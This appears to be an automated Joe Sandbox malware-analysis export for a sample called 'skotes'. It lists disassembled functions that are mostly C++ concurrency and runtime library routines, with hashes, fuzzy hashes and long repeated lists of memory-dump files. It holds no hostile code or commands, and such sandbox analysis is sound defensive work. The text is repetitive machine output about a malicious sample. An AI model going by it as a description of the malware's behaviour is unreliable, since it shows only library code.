Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 709319297635fc71c4f4c50e0291c37c8ba638ed6c68c9b5f6f7c353e6610d3c
Instruction ID: 3bfeb68bfc417fac905e1e0abc0746ab86862e5b56f314f03ed4d944cd0b760b
Opcode Fuzzy Hash: 709319297635fc71c4f4c50e0291c37c8ba638ed6c68c9b5f6f7c353e6610d3c
Instruction Fuzzy Hash: F481587490024AABDF169F54C9A1FFE7BA3EF46304F04409CEC416A352C7768D5ADBA1

Function 006C2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006C2982

Part of subcall function 006C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006C29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006C29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006C29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 006C2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 006C2AD8

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 1c9f202c38913b24eab6bfe4ffb6719de703e8921c931903e8a948a34a105b6c
Instruction ID: 642c96c07ef191fd169900ba1988ac07de37ba3ab6aaac1a179c974428f1d9c9
Opcode Fuzzy Hash: 1c9f202c38913b24eab6bfe4ffb6719de703e8921c931903e8a948a34a105b6c
Instruction Fuzzy Hash: E471657090024AABDF159FA8C8A1FFEBBA6EF45308F04409DEC416B352C7329D16DB61

Function 006B2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 006B2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006B28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006B2913

Part of subcall function 006B07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 006B080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 006B2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006B29DB

Part of subcall function 006B07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006B07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006B29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006B2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006B2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 006B2A7E

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 5a414f686fc7f2136137480d1f045eb29bffb42c91410cf9164300de45ad97f3
Instruction ID: 564ca3db93ea9cdc39d6a45476c3664ce70660f2a2695ad2122f70823c6d0bd0
Opcode Fuzzy Hash: 5a414f686fc7f2136137480d1f045eb29bffb42c91410cf9164300de45ad97f3
Instruction Fuzzy Hash: 13817AB1A006179BCB28DFA9D8A15FEBBF3BB48310B24502DD546A7351DB30ADC5CB94

Function 006B69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006B6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 006B6A51
List.LIBCONCRT ref: 006B6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 006B6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 006B6AB9
List.LIBCONCRT ref: 006B6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 006B6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006B6B20
List.LIBCONCRT ref: 006B6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006B6B68

Part of subcall function 006B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006B5EF7
Part of subcall function 006B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006B5F09

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 1fc016a2819bd8f688a58af72c3331336eaa7cee2b591e75d140c19f9c3e1d64
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: D9512CB1A00219ABDF08DF64C595BEDB3B9BF08304F154069E915AB382DB74EE85CB90

Function 006C52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006C53A0
type_info::operator==.LIBVCRUNTIME ref: 006C53C7
___TypeMatch.LIBVCRUNTIME ref: 006C54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 006C55AE
CallUnexpected.LIBVCRUNTIME ref: 006C5650

Strings

csm, xrefs: 006C52E0
csm, xrefs: 006C53FE
csm, xrefs: 006C534D

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 93f05e7ad1d219d688c66ea9ff4ae7339e0592e4dd16ec30e9dc2cba2f5a1fc7
Instruction ID: 81b44c00f7da6fb46b831a38c905d36a78026d2a5f1e4fcf8c16f5c45c897d6a
Opcode Fuzzy Hash: 93f05e7ad1d219d688c66ea9ff4ae7339e0592e4dd16ec30e9dc2cba2f5a1fc7
Instruction Fuzzy Hash: 7AC17771800649DFCF29DFA4CC84EBEBBB6EF14311B44415EE8166B212D770EA91CB95

Function 006C4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006C4877
___except_validate_context_record.LIBVCRUNTIME ref: 006C487F
_ValidateLocalCookies.LIBCMT ref: 006C4908
__IsNonwritableInCurrentImage.LIBCMT ref: 006C4933
_ValidateLocalCookies.LIBCMT ref: 006C4988

Strings

S9l, xrefs: 006C4925, 006C492E, 006C493F
csm, xrefs: 006C491D

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
